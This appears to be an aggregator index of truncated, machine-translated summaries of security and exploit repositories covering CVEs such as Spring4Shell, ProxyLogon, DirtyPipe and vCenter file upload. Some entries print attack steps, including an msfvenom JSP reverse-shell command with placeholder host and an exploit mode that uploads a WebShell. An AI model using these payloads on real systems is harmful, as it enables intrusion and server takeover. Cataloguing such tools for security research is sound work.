hostscan

hostscan 0.2 Hostscan एक PHP टूल है जो आपको होस्ट के एक विशिष्ट रेंज को स्कैन करने की अनुमति देता है, मुख्य रूप से सूचना संग्रह और कमजोर पासवर्डों के परीक्षण के लिए। मेरा अनुमान है कि यह एक पेंटेस्ट टूल है, मैंने इसे उन कुछ परीक्षणों को स्वचालित करने के लिए बनाया था जो मैं अक्सर करता हूँ। चूँकि य...

Arduino_mousejack

Arduino Mousejack ShutDô Arduino Mousejack é um projeto, baseado no uCmousejeck por insecuritythings , para levar ataques Mousejack a um pequeno dispositivo embutido, com o formato de um chaveiro. Prototype Mousejack Device Construir o dispositivo é simples, e o código fornece uma ferramenta para...

joomla_rce_CVE-2015-8562

joomlarceCVE-2015-8562 Todas as versões do Joomla! abaixo da 3.4.6 são conhecidas por serem vulneráveis. Mas a exploração é possível com versões do PHP abaixo de 5.5.29, 5.6.13 e abaixo de 5.5. Demonstração : https://www.youtube.com/watch?v=twqYpn1ir4o...

Demo-Exploit-Jackson-RCE

Demo-Exploit-Jackson-RCE Baseado no projeto jackson-rce-via-spel este projeto serve como um exemplo de aplicação web para testar múltiplos vetores de ataque upload de arquivos, formulários na vulnerabilidade Jackson-databind. Introdução Baseado em um frontend Angular7 e um backend spring-boot,...

sslcaudit

INTRODUÇÃO O objetivo do projeto sslcaudit é desenvolver um utilitário para automatizar testes de clientes SSL/TLS quanto à resistência contra ataques MITM. Ele pode ser útil para testar um cliente grosso thick client, um aplicativo móvel, um appliance, praticamente qualquer coisa que se comuniqu...

SonLogger-vulns

CVE-2021-27964 | SonLogger - Upload Arbitrário de Arquivos Não Autenticado Metasploit Data: 30-01-2021 Autor do Exploit: Berkan Er [email protected] Página do Fornecedor: https://www.sonlogger.com/ Link do Software: https://www.sonlogger.com/download Versão: 4.2.3.3 Testado em: Windows 10...

Jrohy-trojan-unauth-poc

Jrohy/trojan Modificação não autorizada da senha do administrador Jrohy/trojan é um projeto de código aberto baseado em Go para implantação automatizada do serviço trojan. Sua interface de inicialização web /auth/register não é desativada após a configuração do usuário, permitindo que visitantes...

research-labs

Laboratórios do Pesquisador Este repositório contém várias aplicações intencionalmente vulneráveis que você pode usar para explorar vulnerabilidades encontradas pela PortSwigger Research. Observe que você pode encontrar muitos laboratórios online gratuitos projetados pela PortSwigger Research na...

MacMaster

MacMaster: उन्नत नेटवर्क इंटरफ़ेस प्रबंधन और निगरानी MacMaster एक व्यापक कमांड-लाइन टूल है जो नेटवर्क पेशेवरों और उत्साही लोगों के लिए समान रूप से तैयार किया गया है। यह विभिन्न प्रणालियों पर नेटवर्क इंटरफ़ेस के MAC पतों में हेरफेर करने के लिए एक शक्तिशाली उपयोगिता के रूप में सामने आता है। सरलता औ...

CVE-2023-24488-PoC

Arquivo PoC em Python & Golang para CVE-2023-24488 Twitter@SirBagoza...

CVE-2020-15931

CVE-2020-15931 Netwrix Account Lockout Examiner 4.1 – Vulnerabilidade de Divulgação de Credenciais de Conta de Administrador de Domínio Visão Geral da Vulnerabilidade O Netwrix Account Lockout Examiner ALE anterior à versão 5.1 permite que um adversário remoto não autenticado acione uma conexão c...

CVE-2022-45771-Pwndoc-LFI-to-RCE

Pwndoc की स्थानीय फ़ाइल समावेशन से सर्वर पर Node.js कोड का रिमोट कोड निष्पादन, @yuriisanin द्वारा खोजा गया विशेषताएँ सर्वर-साइड पर निष्पादित करने के लिए --payload-file का उपयोग करते हुए कस्टम Node.js कोड एक्सप्लॉइट के बाद सफाई आवश्यकताएँ PwnDoc इंस्टेंस पर एक व्यवस्थापक खाता उपयोग...

codeql

CodeQL Este repositório de código aberto contém as bibliotecas e consultas padrão do CodeQL que alimentam o GitHub Advanced Security e os outros produtos de segurança de aplicações que o GitHub disponibiliza aos seus clientes em todo o mundo. Como posso aprender CodeQL e executar consultas? Exist...

CVE-2023-28467

MyBB 1.8.33 User CP email XSS persistente root@kitploit: - MyBB 1.8.33 User CP email persistent XSS - Versão do MyBB "@cve.com Solução Atualize a versão do MyBB para 1.8.34 ou superior...

Fast-CVE-2022-22965

Alvo root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest A essência do reverse shell é baseada no msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Após codificar o JSP em URL, use root@kitploit: %3C%25替换...

terraMaster-CVE-2022-24990

terraMaster-CVE-2022-24990 उपकरण परिचय CVE-2022-24990 के लिए त्वरित शोषण उपकरण, शुरुआती कोड, समस्या होने पर issus खोलने का स्वागत है उपयोग विधि main -u http://127.0.0.1:8181 -t pocexp poc केवल सूचना रिसाव भेद्यता का पता लगाता है exp WebShell अपलोड करने का प्रयास करता है अस्वीकरण यह उपकरण केवल...

CVE-2021-22005

CVE-2021-22005-metasploit CVE-2021-22005 VMware vCenter Server के बारे में metasploit स्क्रिप्ट POC/EXP जिसमें एक मनमाना फ़ाइल अपलोड करने की कमजोरी है POC तैयारी root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p...

CVE-2022-0847-DirtyPipe-Container-Breakout

डर्टीपाइप कंटेनर ब्रेकआउट PoC इस रिपॉजिटरी में dirtypipe कर्नेल भेद्यता के लिए एक PoC है, जो कंटेनर से बाहर निकलने के लिए है। आगे की व्याख्या इस ब्लॉग पोस्ट में पाई जा सकती है।...

CVE-2024-4761

CVE-2024-4761 Exploit de alta gravidade CVE-2024-4761 O Google lançou atualizações de segurança de emergência para corrigir uma vulnerabilidade zero-day de alta gravidade, rastreada como CVE-2024-4761, no navegador Chrome. A vulnerabilidade é um problema de gravação fora dos limites out-of-bounds...

proxylogon

proxylogon proxylogon श्रृंखला Microsoft Exchange Server - CVE-2021-26855 के लिए मेरा एक्सप्लॉइट चलाएँ: एक्सप्लॉइट Impacket पैकेज का उपयोग करता है, इसे इंस्टॉल करने के लिए यह चलाएँ: root@kitploit: user@host:$ python3 -m pip install impacket फिर एक्सप्लॉइट रेपो को क्लोन करें, और एक्सप्लॉइट...